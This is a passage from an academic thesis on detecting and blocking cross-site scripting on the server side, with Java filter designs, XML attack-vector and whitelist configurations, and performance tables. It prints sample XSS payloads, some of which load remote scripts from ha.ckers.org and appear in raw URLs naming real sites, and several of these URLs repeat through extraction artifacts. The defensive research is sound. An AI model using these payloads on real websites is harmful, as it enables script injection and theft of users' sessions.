< (less than) &#60 &#x3C &lt; \u003c 

> (greater than) &#62 &#x3E &gt; \u003e 

(  (open  parenthesis) &#40 &#x28  \u0028 

Mapped Classes 

Assessment  

N 

Y 

N 

Read 

application 

level 

parameters and 

load application 

specific attack 

vectors 

N 

As per application 

parameters: Redirect to 

error pages/ 

Reject/encode input and 

store 

Special 

characters 

exist?  

Tainted? 

DataBase Web application 

Decide the 

Vector for 

checking the 

input 

Tainted? 

Y 

Y 

Web Application 
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) (Close parenthesis) &#41 &#x29  \u0029 

 

4.6 Process flow 

The mapped classes’ assessment functions address the form, tag, attribute and value level 

XSS vulnerabilities using the object implementation for the form, tag, attribute and value 

respectively as described in Figure 14. If it is diagnosed as not tainted then the input is 

passed to the web application. Else either as per the application parameters set it is 

encoded or the input is rejected.  The following steps of actions take place when an input 

is received: 

 Trace the input for special characters existence.  

 If the input is encoded check for the character set.  

 Based on the factor analysis of the input assessment, if surjection function exists, 

choose the appropriate attack vector. If the input contains % then encoded attack 

vector path is chosen to identify the vulnerability. If the input contains ‘(’ and ‘)’, 

then the event handler attack vector is chosen.  

 If found tainted in the preliminary diagnosis, then mapped objects for the 

vulnerable tags/attributes/script functions are called to assess the vulnerability.  

 Through objects processing, if found vulnerable and if the application is of high 

severity like banking applications then the input is rejected without encoding the 

input.  

 If encoding is allowed at application level, to prevent the execution of the scripts 

in the browser, input is encoded and further processed by the web application. 
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4.7 Application of the proposed solution  

In this section we cover the technical details of the implementation, evaluation of the 

approach and implementation results.  

4.7.1 Technical details of implementation 

The proposed solution is implemented in JSP/Servlets using JBoss server. The following 

filter entries are made in struts framework’s web.xml file to redirect the HTTP requests to 

the class, VulnerabilityAssessment. VulnerabilityAssessment is the class where the factor 

analysis based approach is implemented. The configuration is as follows:  

<filter> 

    <filter-name>struts-FactorAnalysisDecisionTree</filter-name> 

<filter-class>org.apache.struts2.dispatcher.VulnerabilityAssessment 

</filter-class> 

</filter> 

<filter-mapping> 

    <filter-name>struts-FactorAnalysisDecisionTree</filter-name> 

    <url-pattern>*.do</url-pattern> 

</filter-mapping> 

4.7.2 Metrics on testing data 

Around 2500 lines of code have been developed and also 108 unique XSS test cases are 

created to test this approach. This approach is also tested in about 2000 vulnerable input 

data collected from various research sites and in the white hat hackers’ site where the 

proof of code is provided for XSS vulnerability. These web pages with vulnerable input 

are categorized based on the severity level parameters defined above. Out of 2000 XSS 

vulnerable pages found, around 160 web sites are SSL protected banking applications. 

For identifying the vulnerabilities the application attributes, attack vectors and 

corresponding mapping functions are defined through XML. Sample XML structure is 

given below for attack vectors with the corresponding object implementation class. 
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<Malicious> 

<Attack> 

<TagOrEvent>img</TagOrEvent> 

<ClassName>HandleContent</ClassName> 

<Category>HtmlElementAttack</Category> 

</Attack> 

<Attack> 

<TagOrEvent>&#x3C</TagOrEvent> 

<ClassName>ReplaceChar</ClassName> 

<Category>EncodingAttack</Category> 

</Attack> 

<Attack> 

<TagOrEvent>Onload ()</TagOrEvent> 

<ClassName>HandleEvent</ClassName> 

<Category>EventHandlerAttack</Category> 

</Attack> 

</Malicious> 

 

In our approach decision tree acts as a controller between the web application and 

security mechanisms mentioned in this article. The <TagOrEvent> tag described in the 

XML, define the form level, tag level, or attribute level vulnerabilities. The class name is 

the object implementation of the concerned vulnerability that identifies whether the input 

is really vulnerable or not. The category tag is the attack vector path, that is been chosen 

after the preliminary diagnosis of the input.  We are able to find out the vulnerabilities 

with very less false negatives since this research work addresses the issues at the granular 

level. However this approach needs an update in the attack vector XML configuration 

defined above when a new threat is introduced.  The generation of false negatives and 

false positives are dependent upon the one time configuration of the attack vectors. False 

negatives could go high if the attack vector is not included in the XML and hence it has 
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been proposed to have the XML updated for every threat.  

 

The application parameters for severity high and medium web application set for the 

implementation are given in table 9.  The if condition to check the input at the application 

level is done by VulnerabilityAssessment class. If the input exceeds the number of 

characters set at the application level, the input is rejected without proceeding to parse the 

input. 

 

Table 9: Application level parameters for the web applications 

Severity Level 

 

Application level attributes 

High Maximum Characters: 20 

Encode : Nil 

Character set – ISO-8895-1 

Medium Maximum Characters : 3000 

Encode : Yes 

Character set – UTF-8 

Low Maximum Characters:  10000 

Encode: Yes 

Char Set -  ISO-8895-1 

 

For implementation purposes, the StringTokenizer class in Java is used in the 

VulnerabilityAssessment class. VulnerabilityAssessment class parse the input in a loop, 

as there could be other nested tags within the input. The following is an example for the 

nested input:  

<scr<b><un tainted input>ipt> 

 

For every opening special character ‘<’, the corresponding closing special character is 

considered as end of the tag and the tags are stored in a vector object by the 

VulnerabilityAssessment class. In our example, though the first special character ‘<’ 
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exists for scr tag, it is followed by the same special character for the tag <b> and hence 

the tag, <scr will not be considered in the first iteration. The vector object is processed by 

the VulnerabilityAssessment class and the vulnerable tags are removed from the input for 

further processing. The tags that are sent in the first iteration are given below:  

<b> 

<un tainted input> 

Special characters like ‘<*^$@!()!~`|”<’ are stored in the properties file which are read 

by VulnerabilityAssessment class for preliminary assessment. This is for the 

maintainability of the application and if a new character is to be added for diagnosis, then 

only the properties file needs to be changed and not the code.  

4.8 Evaluation of the approach 

We have adopted two approaches to test our solution. The web application performance 

is assessed without the security layer and then the performance is assessed with the 

implementation of the security mechanisms.  

 

Both the approaches are tested with 6000 malicious inputs, 5000 non vulnerable inputs. 

The average time has been taken for 10 cycles of execution of each approach and the 

results are presented in table 10. The average time is taken because there are minor 

variations found in the time of completion of each run as the execution depends on the 

operating system, and the other processes that run in the machine during the process of 

testing.  

 

The performance has been observed by logging the time of the VulnerabilityAssessment 

process before it starts processing the input and after the processing is complete. The 

approach is applied on a banking application and tested in a server with the configuration 

Intel T2400, 1.83GHz and 0.99GB of RAM.  
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Though the vulnerable inputs collected are around 2000, we have increased the data by 

deriving the combinations of vulnerability for the remaining 3000 vulnerable input to test 

the performance speed of the proposed approach. The approach is also tested by a random 

generator program that picks the vulnerable and non vulnerable inputs from a file of 

about 5000 inputs for an average of 10 runs and the results are presented in Table 10.  

Table 10:  Before and after the security mechanisms are applied.  

 Vulnerable input 

processing time in 

milliseconds to 

process 6000 

vulnerable inputs 

Non vulnerable 

input processing 

time in 

milliseconds to 

process 5000 

inputs 

Random generator 

program test for 5000 

inputs, represented in 

milliseconds with a 

mixture of vulnerable 

and non vulnerable 

inputs. 

Security 

Mechanisms 

applied 

2300   569  870  

No Security 

Mechanisms 

applied 

2000  500  836  

 

 

It has been observed that there is an increase in the processing time to process a single 

request from 0.33 to 0.38 milliseconds after the implementation of the security 

mechanisms, which is 0.05 milliseconds increase per request, which is not a major 

increase in the processing time. This is because the vulnerable input is processed in a 

loop to identify all possible combinations of XSS. It has been perceived that the 

performance could be improved by stopping the VulnerabilityAssessment process once 

the vulnerability is detected.  
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An extensive research has been done and we have collected around 2000 vulnerable web 

sites where the proof of script code has been given by the hackers for the vulnerability of 

those sites.  Observation of percentage of vulnerable tags occurrence in the input of those 

sites is presented in table 11. 

 

The script based attacks are 65.8% followed by the event based attacks, which is 15.8%. 

Based on this the vulnerable tags, the attack vectors are formed and sorted in the same 

order of tag occurrence, to reduce the processing time and to find out the vulnerability in 

few iterations.  

 

Table 11: Observed percentage of XSS attacks based on the tags or JavaScript event, 

collected by research survey 

XSS Attack Example Percentage 

Script tag based 

Attacks 

http://www.sampleSite.com/web/res_t

ext?q=%22%3E<script>alert(‘XSS’) 

<\script> 

65.8% 

Script Event 

based attacks 

http:// 

sampleSite.com/browse/<BODY%20o

nload=alert(%22XSS%22)%3E 

15.3% 

Frame tag based http://www. 

sampleSite.com/search/index.php?as=

1&st=1&rf=1&rq=0&col=mwmcc&o

qsecrets=url%3Asecrets+&dt=ba&ady

=21&amo=9&ayr=2005&bdy=21&b

mo=9&byr=2006&qt=<iframe+src%3

Dhttp%3A%2F%2Fha.ckers.org%2Fs

criptlet.html+<&nh=10&Search=Sear

ch+Again 

10.5% 

Style tag based http://www. 

sampleSite.com/JobSeeker/Jobs/JobRe

sults.aspx?S%3Asbkw=%22+style%3

8.4% 

http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
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D-moz-

binding%3Aurl%28http%3A%2F%2F

ha.ckers.org%2Fxssmoz.xml%23xss%

29+&S%3Asbcn=&S%3Asbsn=ALL

&S%3Asbfr=30&S%3Asbsbmt=Searc

h&cbsid=fa120e683b24470a9976bd1

4e5936ce9-212245906-WF-

2&cid=US&lr=cbscmag&IPath=ILK

&excrit=QID%3DA3849780031904%

3Bst%3DA%3Buse%3DALL%3Braw

Words%3D 

 

Note: Script tag based attack covers encoded form of Script tag attack also.  

 

The values generated out of the log files of the implemented solution are given in Table 

12. The results of 3 masked web sites are presented as case studies, which have unique 

vulnerabilities.  Attack vectors found, application parameter set for the application, and 

action carried out for the vulnerable input are also given in table 12. It can be noted that 

the HEX value of the ASCII character is prefixed with the “%” character indicating that it 

is an encoded attack.  

Table 12: Implementation results 

Sr. no Home 

page of the 

application 

Vulnerable web page input Attack Vectors 

and 

Vulnerabilities 

found in the 

input 

Action 

carried out 

1 Banking 

web 

application   

http://www.sampleSite.com/st

ate.cgi?section=generic&updat

e=&cookiecheck=yes&questio

n_box=%22style=%22-moz-

Attack Vectors: 

html element 

attack, character 

encoding attack, 

Reject the 

input after 

20 chars 

and hence 
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binding:url('http://ha.ckers.org

/xssmoz.xml%23xss')%22style

=%22xx:expression(alert('XSS

')%29&url=search/&ui_mode

=question 

event handler 

attack 

 

Vulnerable 

tags/Scripts: 

Binding:URL, 

style, expression 

the script 

did not 

execute,  

also redirect 

to error 

page 

2 Finance 

news letter   

http://www. 

sampleSite.at/netautor/napro4/

appl/na_professional/parse.php

?mlay_id=20000&mdoc_id=5

000963&xmlval_ID_DOC%5

b0%5d=1067662&xmlval_ID

_KEY%5b0%5d=1069&xmlv

al_DW_HEADER%5b0%5d=

popupmail&xmlval_SENDER

_NAME%5B0%5D=aa%22%

3E%3Ciframe%20src= 

http://66.102.7.147%20style=

width:500px;height:500px;top:

0%3E 

Attack Vectors: 

html element 

attack, character 

encoding attack, 

event handler 

attack. 

Vulnerable 

tags/Scripts: 

Iframe, src, 

http://, width, 

height, top 

Encode the 

input and 

redirect. 

3 Social 

networkin

g site. 

http://www.sample.ac.uk/virtu

almuseum/pictures_db3.php?fi

eldsearch=%3Cmarquee%3Ete

xt%3C/marquee%3E&searchb

ut=Go&showpics=1&resultspe

rpage=9&vorder=Itemname&s

electedfield=all&fieldoperator

=CONTAINS&allqueries=&ki

Attack Vectors: 

html element 

attack, event 

handler attack, 

character 

encoding attack 

 

Vulnerable 

Encode the 

input and 

redirect to 

error page. 
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ngdom=&mt=not&sign=%3Ex

%3D&viewnumber=0&desc=

DESC&startat=0&info=hide 

tags/Scripts: 

 

onMouseOver, 

alert,  

style, binding: 

url.  

 

In the above examples the sites are masked to not to reveal the identity of the original site 

names.  

4.9 Conclusion 

The web applications are facing severe threats and the available methods do not provide 

required solution for protecting the sites. The proposed server side solution approach 

meets in the needs to protect the variegated web sites from XSS attacks. The proposed 

method was applied on real life web applications.  

 

The results are highly encouraging and the proposed solution approach was found to be a 

very effective for securing the web pages from XSS attacks. The proposed solution also 

addresses the variegated nature of web applications.  The factor analysis based decision 

tree developed for the proposed solution has the following advantages. 

 

Advantages of Factor analysis based Decision trees:  

 

Every day the technology changes. New technology like AJAX is evolving, browser 

versions are getting released, new html tags and JavaScript functions are introduced. 

Only attack vector needs to be modified for new threats with object implementations, and 

thus maintainability of this solution is made easier.  

 The configuration of attack vectors, object maps and application level parameters 

are all one time configurations for the application.  



    

 95 

 There is a complete separation between web application and the security 

implementation. Therefore, the functionality of the web application can be added, 

modified, or removed without modifying the security layer.   

 

This solution is vulnerable to zero-day attacks. The prescribed solution is more 

appropriate where the web pages are the only source of input for the web application. In 

addition, if the web page contents are changed more frequently, this solution can be 

applied. It has been recommended to use this solution for non-financial applications as 

the solution is vulnerable to zero-day attacks, but the false positives generated out of this 

research is less compared to other solutions proposed, hence it would help to increase the 

customer base for the web application like social networking site, free mail service etc.   

 

The solution approach developed was published in the Proceedings of the Multi 

Symposiums on Computer and Computational Sciences 2007(IMSCCS07), published by 

IEEE Computer Society in IEEE Digital Library, Iowa, USA and the intrusion system 

developed based on this approach is published in ENVISION - 2007, All India Council 

for Technical Education (AICTE) sponsored National Conference on Advance Data 

Computing, Communications & Security, Gujarat [237,238] . 
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Chapter 5    

Behavior-based anomaly detection on the server side to reduce 

the effectiveness of Cross Site Scripting vulnerabilities   
 

5.1 Introduction 

Authentication, identification, and authorization pose challenge during application 

development. In spite of achieving maximum security regarding these tasks, a XSS attack 

can still be successful, because it allows a user to bypass traditional safeguards. Stealing 

the client cookies or any other sensitive information, which can identify the client with 

the web site, is one the objectives of XSS attacks. With the token of the legitimate user at 

hand, the attacker can act as the user in his/her interaction with the site – specifically 

impersonate the user.   

 

Cross Site Scripting could potentially impact any site that allows user to enter data. This 

vulnerability is commonly seen on search engines that echo the search keyword that was 

entered. This scenario allows users to post their own messages. JavaScript, VBScript, 

ActiveX, HTML, or Flash is introduced by attackers into a vulnerable application to fool 

a user in order to gather data from them. Due to the vulnerabilities that exist on the server 

side, account hijacking, changing of user settings, cookie theft/poisoning, or false 

advertising is possible. New malicious ways are being found every day for XSS attacks.  

 

Network layer security mechanisms do not offer protection to web application against 

application level attacks since they are launched on port 80 that remains open. Attacks 

through application layer on business-critical web applications are the most serious IT 

security threats that the web based applications faces today. Firewalls, SSL and locked-



    

 97 

down servers are futile against application level hacking. The following picture depicts 

how SSL or firewall fails to protect the application from XSS vulnerabilities.  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Figure 15: SSL or firewalls fails to protect web application 

 

The solution proposed in this Chapter is applicable to the following scenarios:  

1. High Performance or response time for HTTP requests.  

2. The security mechanisms should not demand a change in the web pages when a 

threat is introduced. 

3. New web pages should be added with no additional development for security.  

Registration 

Database 

HTTP Request 

Post /register. asp 

HTTP/1.1 

Host: req.example.com 

Reg_username=%3cScrip

t%3e.. 
HTTP/H

TTPS 

Attacker Gateway / 

Firewall 

HTTP Response 

Content-type :text/html 

Content-Length: 48 

<html> 

<p> Thank you for registering</p> 

</html> 

 

 

 

req.exam

ple.com 

 

Administrator 

(Victim) 

192.160.0.1 

 

Insert into users, 

username and email  

Select username, email 

from users.. 

XSS Attack 

 

Local Network 
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4. The solution should protect the application from zero-day attacks.  

In the below section we describe zero-day attack and in further sections we describe the 

solution applicable for the above described scenarios.  

5.2 Zero-day Attack 

Whenever new security vulnerability is identified, the developer develops a patch for the 

vulnerability, which is tested and implemented. The time between the discovery of the 

vulnerability and the implementation of the patch is called the vulnerability window. 

Hackers typically use this vulnerability window to maximize their profit, which is called 

as a zero-day attack. To secure the system, the fixes or patches from the original software 

vendors or signatures that identify the threats are distributed to be implemented in the 

system. Research data show zero-day exploits are increasing from 2006 as it takes few 

days for the patch to be implemented to fix the vulnerability. 

 

 Many of the web applications like Orkut, Yahoo etc, allows user to enter tags to attract 

more customers to their web applications. Primarily revenue is the mail objective for 

allowing the tags though the risk involved by allowing the tags in web application is high. 

There are many erver side solution approach and client side solution approach are 

currently available to curb XSS attacks. The client side solution approach relies fully on 

the user configuration and when a new vulnerability is introduced, the new solution for 

the vulnerability installed at the central server cannot protect the client immediately till 

the automatic download takes place to have the security mechanism in client place.  

 

Owing to the above short-coming, this work focuses on server side solution. The 

currently available server side solutions also have certain limitations. Efforts to curb XSS 

threats through various solution provided by researchers earlier have been futile as tags 

are allowed in web application and due to zero-day attacks.  
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The proposed new behavior based anomaly solution overcomes the above difficulties 

with the following features.  

 Configurable white listed tags, its attributes and object implementation procedure 

for anomaly detection at the server side, and hence the existing web pages need 

not be modified for new threats.  

 Whenever a new web page is introduced there is no need to modify the web page, 

since the security mechanism is separated from page level implementation and is 

placed at the top most layer of the web application.  

 Security administrators need not know the entry points of individual web pages as 

there is a clear demarcation between the web application and security mechanisms 

implemented in this approach.  

 

This research takes advantage of behavior based anomaly detection on the server side to 

secure the web application. Any deviation from the allowed tags and attributes for the 

web application is flagged as a potential attack [133-137]. This is referred as a positive 

security model [138,139] because it seeks only to identify all “known good” behavior and 

assumes that everything else is bad. Behavior anomaly detection has the potential to 

detect attacks of all kind, including “unknown” attacks on any web application [140-146]. 

 

Zero-days attacks are handled by this approach as it checks only for positive behavior 

[147-151]. All the applications built on signature based approach is vulnerable to zero-

day attacks as it takes time to release a patch once the vulnerability is detected. Recent 

research surveys show that there is an increase in the zero-day attacks since 2006 

[152,153]. This demands an efficient approach on the server side, and the authors have 

implemented the approach using XML in Java and tested for its effectiveness on a 

banking application on the server side. The methodology is found to be promising when 

compared to the earlier approaches.  
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5.3 Proposed solution Procedure 

5.3.1 Solution Procedure and the model developed 

In the literature, a model that denies all transactions by default, but uses rules to allow 

only those transactions that are known to be safe is defined as a positive security model 

[148]. In negative security model all transactions are allowed by default. Only those 

transactions that contain attacks are rejected [149,150]. In signature based system, which 

is based on negative security model, the security mechanism needs to address all the 

threats used by the hackers, which requires extensive knowledge on the XSS threats. The 

processing time of the server increases for every new threat introduced, since the input 

should be matched with the larger number of signatures as the XSS attack surface is very 

high. Positive security model is handled by our research to reduce the processing time. 

Analyzer, parser, verifier and white listed tag cluster form part of the proposed solution.  

This section describes the functionality of each component and the interactions between 

them.  

5.3.1.1 Analyzer 

 

When the HTTP request is received, the analyzer is called to initiate the actions. The first 

condition checked by the analyzer is the existence of special characters. This is because 

the script functions can only be executed when it is embedded using the tags and special 

characters.  For example ‘<’, ‘>’, ‘%’, ‘&’, ‘\\’, ‘&#’ are few of the special characters 

used to embed JavaScript functions in the tags.  

 

Output is passed to the parser, if special characters exist in the input, or else the request is 

forwarded to the web application.  Following two main methods are used in the analyzer 

class.  

 

CheckSpecialChars (str) - It checks whether there are any special characters exist in the 

input. 
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ProcessUserStatus () - This method receives the status from the parser, which in turn gets 

the status from verifier and redirects the user based on the status. 

5.3.1.2 Parser 

 

When the parser is called by the analyzer to process the input, parser breaks the input into 

multiple tokens, as tags, attributes, and stores it as an element in a vector object. The 

input is then passed to the verifier component, which is described below to assess the 

vulnerability.  The following methods form the main part of parser class.  

o setInput () - This method sets the input data. 

o isDataMalacious (vInput) –vInput is the vector object created by the parser 

component and it invokes verifier component to receive the processed 

status from the verifier class. For instance if <img 

src=http://www.sample.com/image1.gif> is provided as an input then the 

vector element would contain the value as img, 

src=http://www.sample.com/image1.gif.  

5.3.1.3 Verifier 

 

Verifier checks the provided input for its vulnerability by executing the rules using the 

tag cluster defined in section 5.3.1.4. If either the tag or the tag’s attribute is not in the 

white listed tag cluster, then it is concluded as tainted. The following two methods assess 

the vulnerability.  

o Verifier () - Constructor which sets the input data as vector. 

o detectMalicious () - This method access the white listed cluster mentioned 

in table 14. This checks whether all the tags present in the input and its 

respective attributes are in the white listed cluster that are present in the 

XML mentioned in table 14. It returns the Boolean value based on whether 

the assessed input is malicious or not. 
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5.3.1.4 Tag Cluster 

 

Tag cluster is used by the verifier component described above. Cluster is a term defined 

by the authors in this context refers to the tags, attributes and its corresponding data type. 

With this, the clusters are categorized as follows:  

White listed cluster: The allowed tags and the allowed attributes of those tags are 

categorized as white listed cluster that are permitted in the web application. 

Black Listed Cluster: The tags that make the application vulnerable for XSS attacks are 

categorized in this cluster. These are used to formulate the problem of negative security 

model. The following is an example of black listed tag: 

<Script>alert (‘XSS’) </Script > 

 

This approach uses only the white listed cluster to reduce the processing time as the black 

listed cluster tags and the attack surface of XSS is very high. This approach compares the 

provided input with the white listed cluster. The following defined rule is used to identify 

the vulnerability by the verifier component.  

5.3.1.5 Rules for vulnerability identification 

 

The following definitions are made to define the tags with respect to the group of tag 

clusters described in section 5.3.1.4. Further the definitions are used to form the rules to 

identify the vulnerability.  

Let I= {I1, I2, I3… In} be a finite set of tags in the input.  

Let W = {W1, W2, W3… Wm} be the finite set of white listed tags. 

             {MS1, MS2, MS3… MSk} be the corresponding set of security classes for the tag 

Wi to identify the attribute or the value of the tag content to determine whether the input 

provided is malicious.  Few tags that are included in this cluster need to be checked for 

vulnerability in the value of attributes. For instance in the below stated example, IMG is 

the tag and SRC is its attribute. The value of the attribute is javascript:alert(‘XSS’).  

<IMG SRC=“javascript:alert('XSS');”> 
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It is clear from the above example that IMG SRC attribute is not pointing to an image, 

but a JavaScript function. Hence, the SRC attribute should be checked for the value it 

contains to identify the vulnerability.  

 

In the above stated example under white listed cluster, a class is associated with the tag 

IMG to check the content of the source attribute. If it is not the type of the image like .jpg 

or .gif or .bmp etc, then the input is identified as tainted. In problem formation, the 

authors use the following rules to conclude whether the input is tainted or not.  

Rules to conclude an input as untainted input is defined as follows:  

Ii is untainted, only if it is a subset of { W1, W2, W3… Wm} where Ii  is the tag in the input 

and if security classes identify the attribute’s value as untainted.  

 

Rules to conclude an input as tainted input is defined as follows: 

If Ii is not a subset of Wi then it is concluded as tainted. 

If Ii is a part of white listed tags and if security classes identify the attribute’s value as 

malicious, then the input is concluded as tainted.  

 

Once the process execution is complete by the verifier, the status is returned to the parser 

class. It can either be ‘Yes’ or ‘No’ depending up on the vulnerability detected in the 

input. Parser class passes the status to analyzer class. Based on the status, analyzer either 

redirects the request to error page or to the web page. 

 

Let us take an example to explain the rules. If <Font> <Img> tag is included in the input, 

then the  In = {Font, Img} where n = 2. If we are comparing with the white listed XML of 

55 elements then, the white listed cluster is defined as W = {Font, Style, Span …. 

Tr}where n=55.  

 

The corresponding security classes for the white listed cluster are {ImgChekc, 

BGSoundCheck…..}. 
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As the  mapped security classes is not mandatory for all white listed tags as each tag in 

the white listed cluster need not be checked for its value of the attribute for its 

vulnerability. Because there are few tags, using which the malicious content cannot be 

injected. For instance Font is a tag that cannot execute a script and hence the security 

classes will always be lesser compared to number of white listed XML tags as all tags 

need not be validated with the security classes.  

 

As can be seen in the above example number of mapped classes = 2, number of white 

listed cluster XML element =55 and the number of tags in the input is 2.  In the above 

example if font and img are included in the white listed cluster, but Img is associated with 

ImgCheck class. Hence to check the attribute’s value of the Img tag, the ImgCheck class 

is called to verify whether the image points to .jpg or .gif or a script.  

 

Hence MSn<Wm and there is no one to one mapping of the tags in white listed tags and 

the security classes. 

 

Figure 16 describes the flow of the system. The execution sequence is numbered in the 

above diagram for better understanding of the process. Analyzer checks for the special 

character existence in the input and if it exists then it forwards the request to the parser. 

The parser splits input to tokens and sends it to the verifier. The verifier accesses the 

white listed cluster and checks for its vulnerability. If there is no vulnerability detected 

then the verifier returns the status to parser. The parser then returns the status to analyzer. 

Based on the status returned, analyzer either redirects the request to the error page or 

forwards the request to the web application as depicted in Figure 16. 
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The solution procedure is explained in Figure 16. 

 

Figure 16: Flow of input through the components 

Dashed line in the above figure indicates the return status path.  

5.4 Implementation 

5.4.1 Technical details of implementation 

The proposed solution is implemented in JSP/Servlets using JBoss server. The following 
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entries are made in struts framework’s web.xml file to redirect the HTTP requests to the 

class analyzer. Analyzer is the class where the special character analysis of the input is 

implemented.  

5.4.2 Server Side Configuration 

Table 13: Server side configuration of Behavior based anomaly detection. 

 

<filter> 

    <filter-name>struts-Analyzer</filter-name> 

<filter-class>org.apache.struts2.dispatcher.Analyzer 

</filter-class> 

</filter> 

<filter-mapping> 

    <filter-name>struts- Analyzer </filter-name> 

    <url-pattern>*.do</url-pattern> 

</filter-mapping> 

5.4.3 Development details  

The following is the snippet of code used in analyzer to diagnose the input for special 

characters:  

public static final String REGEX = “(<[a-zA-Z][^<>]*>)|( <>]*>)”; 

private static final Pattern HTML_PATTERN = Pattern.compile(REGEX); 

As could be seen in the above snippet, regular expression is used for diagnosis of special 

characters and if special characters are found, it is passed on to the parser. For 

implementation purposes, the StringTokenizer class in Java is used in the parser class, 

which is described in section 5.3.1.4. Parser class calls the verifier class in a loop as there 
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could be other nested tags within the input. The following is an example for the nested 

input:  

<scr<b><untainted input>ipt> 

 

For every opening special character ‘<’, the corresponding closing special character is 

considered as end of the tag and the tags are stored in a vector object by the parser. In our 

example, though the first special character ‘<’ exists for scr tag, it is followed by the 

same special character for the tag <b> and hence the tag, <scr will not be considered in 

the first iteration. The vector object is sent to the verifier class to check the vulnerability 

and removed from the input for further processing. The tags that are sent in the first 

iteration are given below:  

<b> 

<untainted input> 

 

In the next iteration, the input to the verifier class is <script>. The <Script> tag is 

identified as a vulnerable tag in white listed XML as it would not have <Script> in its 

cluster. Hence, the verifier stops processing, and returns ‘yes’ for vulnerability. Then this 

status is returned to the analyzer where the user is redirected to the error page. 

5.4.3.1 Sample cluster  

 

Verifier class uses the following respective structure of XML described in table 14:  

Table 14: Sample Structure of the Tag Clusters 

White listed cluster XML Structure 

<WhiteList> 

<TagCluster> 

  <Tag> 

 <TagName>someTag</TagName> 

 <attributeName>attributeName</attributeName> 

   <attributeName>attributeName </attributeName> 
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  <ClassName>someClassName</ClassName> 

  </Tag> 

  <Tag> 

 <TagName>someTag</TagName> 

 <attributeName> attributeName</attributeName> 

    <ClassName>someClassName</ClassName> 

  </Tag> 

</TagCluster> 

</WhiteList> 

 

5.4.3.2 Excerpt of white listed XML tags 

 

Excerpt of white listed XML structure is given in Table 15 with the corresponding object 

implementation class. 

Table 15: Excerpt of white listed XML tags 

<WhiteList> 

<TagCluster> 

  <Tag> 

 <TagName>Font</TagName> 

 <attributeName> face</attributeName> 

   <attributeName>size</attributeName> 

  <ClassName>None</ClassName> 

  </Tag> 

  <Tag> 

 <TagName>Img</TagName> 

